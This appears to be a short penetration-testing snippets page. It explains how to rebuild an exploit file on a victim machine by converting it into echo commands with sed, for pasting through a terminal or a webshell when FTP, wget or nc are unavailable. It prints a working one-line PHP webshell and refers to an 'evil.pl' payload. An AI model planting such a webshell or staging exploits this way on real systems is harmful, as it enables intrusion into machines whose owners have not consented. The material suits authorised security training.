Skip to content

Linux/Windows Snippets


Adding Echo's to a Script

Adding the echo's to your own scripts. This helps when there is no FTP, WGET, or NC to transfer files. It also helps when you want to transfer stuff over using a limited webshell.

Paste into Terminal Method

Assume you are low priv on your victim machine. You can just find the exploit online. Copy it into a file. Then copy and paste it all on the target machine.

#Usage:
cat <ORIGINAL FILE> | sed 's/^/echo "/' | sed 's/$/" >> <OUTPUT FILE>/' | sed 's/\$/\\\$/'> echo.txt

#Example - Non Interactive FTP Transfer
cat myftp.sh | sed 's/^/echo "/' | sed 's/$/" >> ftp.sh/' | sed 's/\$/\\\$/'> ftpecho.txt

This puts the output into a file. However if you want the output to just display on the terminal then remove that part:

cat <ORIGINAL FILE> | sed 's/^/echo "/' | sed 's/$/" >> <OUTPUT FILE>/' | sed 's/\$/\\\$/'

One thing to be aware of when pasting a blob of text through the terminal is that there might be a limit on the clipboard.

Pasting through Webshell

Sometimes you need to paste a blob of text through a website's URL. An example of this when using a simple webshell like <?php echo shell_exec($_GET["cmd"]);?>

#Opens a file called evil.pl, adds ;echo and >> evil.pl to each like.
cat evil.pl | sed 's/^/;echo "/' | sed 's/$/" >> evil.pl/'